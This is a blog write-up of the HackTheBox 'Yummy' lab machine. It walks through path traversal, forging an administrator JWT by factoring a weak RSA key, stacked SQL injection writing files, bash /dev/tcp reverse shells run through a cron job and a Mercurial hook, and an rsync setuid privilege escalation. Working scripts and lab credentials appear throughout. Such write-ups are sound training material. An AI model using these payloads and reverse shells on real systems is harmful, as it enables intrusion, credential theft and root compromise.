Back to Blog Posts

HackTheBox CTF Writeup: Yummy

Blog

Tuesday, 23 September 2025

Intro

This is my writeup of owning the Yummy machine on HackTheBox, created by LazyTitan33, which I completed back in October 2024. It's categorised as a hard Linux machine and consists of obtaining and analysing source code, forging an RSA JWT and exploiting a cronjob before even getting to privilege escalation.

I definitely found this box difficult, there were quite a few areas I had to research to figure out where the exploits might be before working on the exploits themselves, but overall this was a very fun and interesting box.

Recon

nmap finds two open ports, an SSH server running on 22 and a webserver on 80, nothing unusual here.


export target=10.10.11.36 

nmap -sV $target                                                                                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 12:16 BST
Nmap scan report for 10.10.11.36
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Caddy httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds


Caddy is serving a landing page for a restaurant where there can be some user interaction by means of a contact form, registering, and logging in. Let's add yummy.htb to /etc/hosts and test out the endpoints.

I registered demo@demo.com:demo and then logged in to find that I could create reservations and view them on a /dashboard page for my account. From this dashboard, you can download your own reservations as a calendar ICS file. This ICS just contains the various values for the fields in the form.

Foothold

As we know this is a Caddy server, I spent a while trying to expose Caddy template variables (such as {{env "ADMIN_URL"}}) in the ICS but I couldn't get it to work and eventually decided to look elsewhere.

When a request is made to download the file, the initial request for reminder/22 (for example) is forwarded to another path, like /export/Yummy_reservation_20241007_162235.ics. Perhaps this endpoint can be used to grab other files.

Using Burpsuite, I intercepted one of these requests:


GET /export/Yummy_reservation_20241007_162235.ics HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Connection: keep-alive
Cookie: X-AUTH-Token=<token>
Upgrade-Insecure-Requests: 1

Then after several rounds of testing with parent paths, it turns out that this is vulnerable to path traversal:


GET /export/../../../../etc/hosts HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Connection: keep-alive
Cookie: X-AUTH-Token=<token>
Upgrade-Insecure-Requests: 1

The request above allowed me to download the remote /etc/hosts file.


127.0.0.1 localhost yummy yummy.htb
127.0.1.1 yummy

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Using this approach, we can find out some useful information from standard OS files.

/etc/passwd contains two users, dev and `qa:

  • dev:x:1000:1000:dev:/home/dev:/bin/bash
  • qa:x:1001:1001::/home/qa:/bin/bash

/etc/crontab points us towards some scripts so lets download these too and have a read.


*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

app_backup.sh appears to create a backup zip of the application. We'll grab a copy of this zip too so that we can have a read of the source code.


cat app_backup.sh

    #!/bin/bash

    cd /var/www
    /usr/bin/rm backupapp.zip
    /usr/bin/zip -r backupapp.zip /opt/app


table_cleanup.sh holds some database credentials which might be useful later and seems to load in some data:


cat table_cleanup.sh

    #!/bin/sh

    /usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

Whereas dbmonitor appears to be a custom repair script for an unstable database. It will run the latest incremental version of a script if the database fails - which suggests this could be a path for exploitation later that will allow us to run custom code.


cat dbmonitor.sh 
#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

I'm also going to grab /data/scripts/sqlappointments.sql just in case as well as /var/www/backupapp.zip.

The sqlappointments.sql just appears to contain database seed data, but as expected, /var/www/backupapp.zip contains the source code for the restaurant booking site that we're looking at.

Looking through the code, it shows that users can exist with customer role (by default) or an administrator role, this information is embedded into a custom implementation of JWT. We can also see that administrators can access another dashboard at admindashboard/.

The interesting part is that there's some verification middleware for decoding the JWT using a custom signature.


from config import signature

# [...]

def verify_token():

    data = jwt.decode(token, signature.public_key, algorithms=["RS256"])

# [...]

Let's take a look at that signature for creating a private key:


from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)

n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

print(public_key)

We can also see that this key is created during login and embedded into our cookie.


def login ():

# [...]

    if user:
        payload = {
            'email': email,
            'role': user['role_id'],
            'iat': datetime.now(timezone.utc),
            'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
            'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
        }
        access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

        response = make_response(jsonify(access_token=access_token), 200)
        response.set_cookie('X-AUTH-Token', access_token)
        return response
    else:
        return jsonify(message="Invalid email or password"), 401


# [...]

Admin Dashboard

So let's start with what we've got, our token, and see if we can decode anything:


eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImRlbW9AWVVNTVkuSFRCIiwicm9sZSI6ImN1c3RvbWVyXzhlNWQ1MTcyIiwiaWF0IjoxNzI4MzE4MDgyLCJleHAiOjE3MjgzMjE2ODIsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiMTAxOTc4ODI4MTcyMjExMDE3Mjk4Njc1MzAxNDI5ODQ3MTM0NDk0MzIxOTk5MDk5OTA2MDM3MjMyMTE4OTQ1MDY2ODMwNzU2ODYxMjkyNzg5Mzc3MDIyNTI0MzYyOTYwMjE4MjY3MjcyOTI1NDY0NDc2MDMzNjI1NTM4NDIwMzUyMjAzODk3OTc5ODE5NTQwMjkwODY3ODYzNDI5NjgzNjA5MjQ2NjQ2MzI2NzE1NTI2OTgxOTkyMTU1MDA4ODU2MjQ2NjA4NTg4NjY4Mzk1MjU1MjQ1MTM4Mjc2NzMwMzY1MDY5ODU1MjUzMTI3OTA3MDU0NTE4Njk2ODU3NjYxOTY1OTMxOTk1Mzk1NDU3NzEzMDk1MDk2MTcyMjU1NTgwMjkwNzc0ODkzMDk5MDIzODc1NjAwNzA4NDkzIiwiZSI6NjU1Mzd9fQ.BlomPDqY2gDIAApWS8MtXzkGqD53j3aTTxiNA35BbIlW6EnqRCnVEgXcpieMyd9DEsMtFFwcfyyDrNYJBRkBGcbHsbR6nEJlEQMqJBl2ipdDGH35wGVP5-mPqrsvPN1vbaAD3R_aWxdfl2zEH1eK_MU3TykcUEwZajcMTVZ0jnGNUsE

Here's a standalone script pieced together from the source code for the process used to encode the token:


import jwt
import json
import sympy

from datetime import datetime, timedelta, timezone

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization


q = sympy.randprime(2**19, 2**20)

n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

payload = {
    'email': "demo@yummy.htb",
    'role': "customer",
    'iat': datetime.now(timezone.utc),
    'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
    'jwk':{'kty': 'RSA',"n":str(n),"e":e}
}

print(payload)
print("")

access_token = jwt.encode(payload, key.export_key(), algorithm='RS256')

print(json.dumps(access_token))

This is just so that I can get myself a bit more familiar with it and visualise the data before and after it's encoded.


python app/encoder.py

{'email': 'demo@yummy.htb', 'role': 'customer', 'iat': datetime.datetime(2024, 10, 7, 23, 25, 55, 247085, tzinfo=datetime.timezone.utc), 'exp': datetime.datetime(2024, 10, 8, 0, 25, 55, 247091, tzinfo=datetime.timezone.utc), 'jwk': {'kty': 'RSA', 'n': '93393013672038491784420448959607969060998709989291685750395056037390972008409419219927584371401968605768046028554892274680023169157348038747946621558196148331539851859760149706827806598624945321403223421822746326377326499082459274893034557833800100824764617552060562417936384410573193676744372273704519882358365331', 'e': 65537}}

"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImRlbW9AeXVtbXkuaHRiIiwicm9sZSI6ImN1c3RvbWVyIiwiaWF0IjoxNzI4MzQzNTU1LCJleHAiOjE3MjgzNDcxNTUsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiOTMzOTMwMTM2NzIwMzg0OTE3ODQ0MjA0NDg5NTk2MDc5NjkwNjA5OTg3MDk5ODkyOTE2ODU3NTAzOTUwNTYwMzczOTA5NzIwMDg0MDk0MTkyMTk5Mjc1ODQzNzE0MDE5Njg2MDU3NjgwNDYwMjg1NTQ4OTIyNzQ2ODAwMjMxNjkxNTczNDgwMzg3NDc5NDY2MjE1NTgxOTYxNDgzMzE1Mzk4NTE4NTk3NjAxNDk3MDY4Mjc4MDY1OTg2MjQ5NDUzMjE0MDMyMjM0MjE4MjI3NDYzMjYzNzczMjY0OTkwODI0NTkyNzQ4OTMwMzQ1NTc4MzM4MDAxMDA4MjQ3NjQ2MTc1NTIwNjA1NjI0MTc5MzYzODQ0MTA1NzMxOTM2NzY3NDQzNzIyNzM3MDQ1MTk4ODIzNTgzNjUzMzEiLCJlIjo2NTUzN319.BJyNEOjPz3nUTw_kRdpk04mqL5hDGTWXsYLE0VdQBm057IcZqJS9jfPdgXb1Gr6hxpPH91dOa0WdN6udCI7T5Kj1npSbHAhokfItwu-E9RXjcUiaiyx184azWSvthDF2jlGymJEyAME6pI91cDKdiVAmwtfD64H9phheqhUAU1WLDZE"

Now, we need to work backwards and figure out if we can create a token where we have an administrator role. I grabbed the token from my session and ran it through a decoder, updated the role and encoded it again:


import jwt
import json
import sympy

from datetime import datetime, timedelta, timezone

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

import base64

token = "<token here>"

# https://stackoverflow.com/a/49459036
decoded_token = base64.b64decode(token.split(".")[1] + "==")

user_data = (json.loads(decoded_token))
user_data['role'] = 'administrator'

print(user_data)

encoded_user_data = base64.b64encode(json.dumps(user_data).encode('utf-8'))

print("")
print(encoded_user_data)


{'email': 'demo@yummy.htb', 'role': 'administrator', 'iat': 1728345204, 'exp': 1728348804, 'jwk': {'kty': 'RSA', 'n': '84922439168650938588100421896938483176131735847076805046275304172548261298082630709741960756939006360014321227831138502439172157689254718161450766456048762542968980217271218005528102242351211082293534851339144582457658274430925771002351086582129789510412190089342652582454377649432032351590553648516107564558180803', 'e': 65537}}

b'eyJlbWFpbCI6ICJkZW1vQHl1bW15Lmh0YiIsICJyb2xlIjogImFkbWluaXN0cmF0b3IiLCAiaWF0IjogMTcyODM0NTIwNCwgImV4cCI6IDE3MjgzNDg4MDQsICJqd2siOiB7Imt0eSI6ICJSU0EiLCAibiI6ICI4NDkyMjQzOTE2ODY1MDkzODU4ODEwMDQyMTg5NjkzODQ4MzE3NjEzMTczNTg0NzA3NjgwNTA0NjI3NTMwNDE3MjU0ODI2MTI5ODA4MjYzMDcwOTc0MTk2MDc1NjkzOTAwNjM2MDAxNDMyMTIyNzgzMTEzODUwMjQzOTE3MjE1NzY4OTI1NDcxODE2MTQ1MDc2NjQ1NjA0ODc2MjU0Mjk2ODk4MDIxNzI3MTIxODAwNTUyODEwMjI0MjM1MTIxMTA4MjI5MzUzNDg1MTMzOTE0NDU4MjQ1NzY1ODI3NDQzMDkyNTc3MTAwMjM1MTA4NjU4MjEyOTc4OTUxMDQxMjE5MDA4OTM0MjY1MjU4MjQ1NDM3NzY0OTQzMjAzMjM1MTU5MDU1MzY0ODUxNjEwNzU2NDU1ODE4MDgwMyIsICJlIjogNjU1Mzd9fQ=='

However, naively replacing the payload section of the cookie before forwarding the request via Burpsuite is not enough here to successfully authenticate to admindashboard and I keep getting redirected to login.

After (a lot) more reading into JWT syntax, it's likely because I need to figure out the signature and recreate the whole token. Thanks to the following article for the details:

  • https://kurtikleiton.medium.com/json-web-token-exploitation-for-red-team-580eea1fe46a

In summary, these tokens adhere to the following structure:

  1. Header: to show the type of the token (JWT) and the signing algorithm being used (RSA).

  2. Payload: contains additional data such as name, password, expiration date, etc.

  3. Signature: to verify the integrity of the data.

  4. The Modulus (n) and Exponent (e): these together allow anyone to derive the public key and verify the JWT signature using the RS256 algorithm. The payload also includes the public key as part of the jwk field.

The tokens are made up of the following components:

  1. Public Key (typically shared as n, e):

    • Modulus n = p * q: this is part of the public key and is widely shared.
    • Public Exponent e: this is a small, fixed number that is also public, typically 65537.
  2. Private Key:

    • Prime Factors p and q: the two large prime numbers used to generate n, which remain private.
    • Private Exponent d: derived from the public exponent e and the prime factors p and q.

This means that we have the modulus n and the public exponent e, so factoring n is now required to find p and q which would give us the private key.

Usually, this would be an impossible task due to the scale, but in this scenario we know from the source code that p is a prime number in the small range of 2^19 (524288) and 2^20 (1048576). If we can factor q against n then we can calculate p and create ourselves a token.

Here's the updated version of the previous script that takes a token, updates the role and figures out the signature to recreate the token.


import jwt
import json
import sympy
import base64
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization


token = "<token>"

# https://stackoverflow.com/a/49459036
decoded_token = base64.b64decode(token.split(".")[1] + '==')
user_data = (json.loads(decoded_token))

n = int(user_data["jwk"]['n'])

# attempt to figure out p and q 
for q in sympy.primerange(2**19, 2**20):
    if n % q == 0:
        p = n // q
        break


# now we can rebuild a token continuing from the previous source code
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

# keep the payload the same but update the role
payload = {
    'email': user_data["email"],
    'role': "administrator",
    'iat': user_data["iat"],
    'exp': user_data["exp"],
    'jwk':{'kty': 'RSA',"n":str(n),"e":e}
}

access_token = jwt.encode(payload, key.export_key(), algorithm='RS256')

# nice
print(json.dumps(access_token))

Using Burpsuite again, we intercept the request to admindashboard and run the token through this script. We then replace the token in the request with the token from the script and forward the request on. Then, we've made it to the dashboard.

AdminDashboard

SQL Injection

Here we can benefit from the source code again to see that whenever queries are made on this page, rather than using an ORM this app is using raw SQL. The search_query is wrapped in wildcard characters, but the order_query isn't which should allow us to inject additional SQL into this query.


def admindashboard():

    # [...]

    connection = pymysql.connect(**db_config)
    with connection.cursor() as cursor:
        sql = "SELECT * from appointments"
        cursor.execute(sql)
        connection.commit()
        appointments = cursor.fetchall()

        search_query = request.args.get('s', '')

        # added option to order the reservations
        order_query = request.args.get('o', '')

        sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
        cursor.execute(sql, ('%' + search_query + '%',))
        connection.commit()
        appointments = cursor.fetchall()
    connection.close()

Based on what we know already from our recon, its likely that we'll be trying to exploit a script and run our own code. So lets start by trying to write to a file.

The o parameter in the request is read as the order_query so let's append another query to ASC using a semicolon to write to a file (after making the query url friendly).


http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20%22demo%20orx%22%20INTO%20OUTFILE%20%22/data/scripts/demo.txt%22;

http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20%22demo%20orx%22%20INTO%20OUTFILE%20%22/data/scripts/demo.txt%22;

OUTFILE

The second time we make that request, we get an error stating that the file already exists. So we can assume that writing a file was successful. Let's now prepare a reverse shell to be used as our custom script:


/bin/bash -i >& /dev/tcp/10.10.14.54/1338 0>&1

We know that we can trigger our command based on the dbmonitor script which will run the latest-versioned fixer script based on the contents of /data/scripts/dbstatus.json.

Now we need to prompt it to execute by writing some content to dbstatus.json )as long as it isn't "database is down") and naming our fixer script with any high version number.

After many attempts at trying to make that command url friendly, I eventually found that SQL can decode base64 before sending it to a file. I encoded the command as base64 which made things a lot easier when making the request.

http://yummy.htb/admindashboard?s=&amp;o=ASC;%20SELECT%20%22bad%20grep%22%20INTO%20OUTFILE%20%22/data/scripts/dbstatus.json%22;

http://yummy.htb/admindashboard?s=&amp;o=ASC;%20SELECT%20FROM_BASE64(%22L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjU0LzEzMzcgMD4mMQoK%22)%20INTO%20OUTFILE%20%22/data/scripts/fixer-v99999%22;

After a few minutes of waiting, we've got our reverse shell.

User Flag

We're now in as www-data so let's take a look around:


www-data@yummy:~$ ls -l

total 6656
drwxrwx--- 7 www-data qa          4096 May 28 14:41 app-qatesting
-rw-rw-r-- 1 www-data www-data 6807760 Oct  9 00:28 backupapp.zip

www-data@yummy:~$ cd app-qatesting

www-data@yummy:~/app-qatesting$ ls -la
ls -la
total 40
drwxrwx--- 7 www-data qa        4096 May 28 14:41 .
drwxr-xr-x 3 www-data www-data  4096 Oct  9 00:28 ..
-rw-rw-r-- 1 qa       qa       10852 May 28 14:37 app.py
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 config
drwxrwxr-x 6 qa       qa        4096 May 28 14:37 .hg
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 middleware
drwxr-xr-x 6 qa       qa        4096 May 28 14:26 static
drwxr-xr-x 2 qa       qa        4096 May 28 14:26 templates

We seem to have another version of the application in the home folder. I started looking for hidden files expecting to find another version of an .env file.

Initially I thought .hg might have been an environment related folder but I soon found out it's a mercurial folder for version control. If its anything like git then it should have a full project history so let's grep for any information that had accidentally been previously committed. Again, I was originally looking environment files before I decided just to see if any passwords might show up.


www-data@yummy:~/app-qatesting$ grep -Rli pass 
grep -Rli pass 
app.py
config/signature.py
config/__pycache__/signature.cpython-311.pyc
config/__pycache__/signature.cpython-312.pyc
templates/register.html
templates/login.html
grep: .hg/wcache/checkisexec: Permission denied
.hg/store/data/app.py.i

One of the previous versions of app.py did come up as a match for pass:


www-data@yummy:~/app-qatesting$ cat .hg/store/data/app.py.i

# [...]

       E1(�/� ��$�&'app.secret_key = s.token_hex(32)
&u'cT sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
�ɕp=��E(������##md5�P�����+v�Kw9    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
EJ*������uY�0��+2ܩ-]%���(�(�/�`O
��<.`�������6���}�v�v��@P��D�2ӕ��_▒B�Mu;G
                                         �.-1
                                             ���D�      �kk��Y益H���ΣVps
                                                                        �K�a�0�VW��;h�������B�
                                                                                              ;ó~z�q�{�+>=�O_�q6� ��"V˺&f�*�T㔇D��퍂��@��V([Q���������G��φ����>GQ$
�D��,3�eJoH|j�)�(𶠀yh]��6����~Z�[hY�
                                   �    �w�4L
{��]�ߚ�D������f▒��:�����s)�����}             �3�ZШ�{S?�m��*H�چ���V3�Y�(��]���
 ���L��S�eE��6K�6    'user': 'qa',
    'password': 'jPAd!XQCtn8Oc@2B',
&E&�&�'#'�'�
�0+,0*d ����$4�p�"��_����6��.(�/�`�5    �P8*p�c����g� kwJj��*�zӦ9$՚��N;�Z�U�
    ĉ��D����P�*▒˅��\Q��]+'¤�2,%��-��Y��
                                       Ąb�,��d[I})u�▒�r��}�X�����F���K>
                                                                       +▒��@t���k� 9���j��0�04�k��+�O�h����׷
Y

Looks like we've found a password for the qa account. Seeing as we know SSH is open we can test this out and get ourselves into a real session.


ssh -l qa 10.10.11.36                         

# jPAd!XQCtn8Oc@2B

qa@yummy:~$ whoami
qa

Great, lets grab the user flag and see what permissions we have.

qa@yummy:~$ cat user.txt

6699e9************************

qa@yummy:~$ sudo -l 
[sudo] password for qa: 

Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

Looks like qa can update a repository from the dev users home folder as the dev user, so I don't think we're finished with mercurial yet.

I spent quite a bit of time trying to figure out how I could exploit this. The hg command is tied to an absolute path that I couldn't write to, so I couldn't replace the binary or edit my PATH to replace it. I repeatedly tried to stack additional commands to the end of the pull command, only to successfully just pull the repo and achieve nothing else.

I resigned myself to Mecurial documentation and found a section for a custom configuration file known as .hgrc. I assumed it would be somewhat like .bash_rc but for whenever hg is executed. It has a section for [hooks] which is where commands can be executed based on certain scenarios like pre-commits.

In our case, all we can do is hg pull so we can execute a command in the pre-pull scenario. Let's create a repository with a custom hook to launch another reverse shell but this time as the dev user:


cd /tmp/
mkdr demo && cd demo
mkdir .hg

vim .hg/hcrc


[hooks]
pre-pull = /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.54/1338 0>&1'


sudo -u dev /usr/bin/hg pull /home/dev/app-production/

Nice, we're back in a reverse shell - but this time as dev.

Root

Now that we're in as dev, lets find out what they can do:


nc -lnvp 1338

listening on [any] 1338 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.36] 57324
I'm out of office until October 10th, don't call me

sudo -l

Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

Okay, dev can run rsync as root. We can modify the path thanks to the wildcard so let's copy the bash executable but also apply setuid permissions so we can start a shell as the root user.


sudo -u root /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/

/opt/app/bash -p


whoami
root

cat /root/root.txt
b702d38f************************

Finally, we can grab the root flag!


Leave a Comment

Comments (0)

Author

Oli Rowan

Oli Rowan

Professional Faffer

15 min read
23 Sep 2025
0 comments

Related Posts

Tags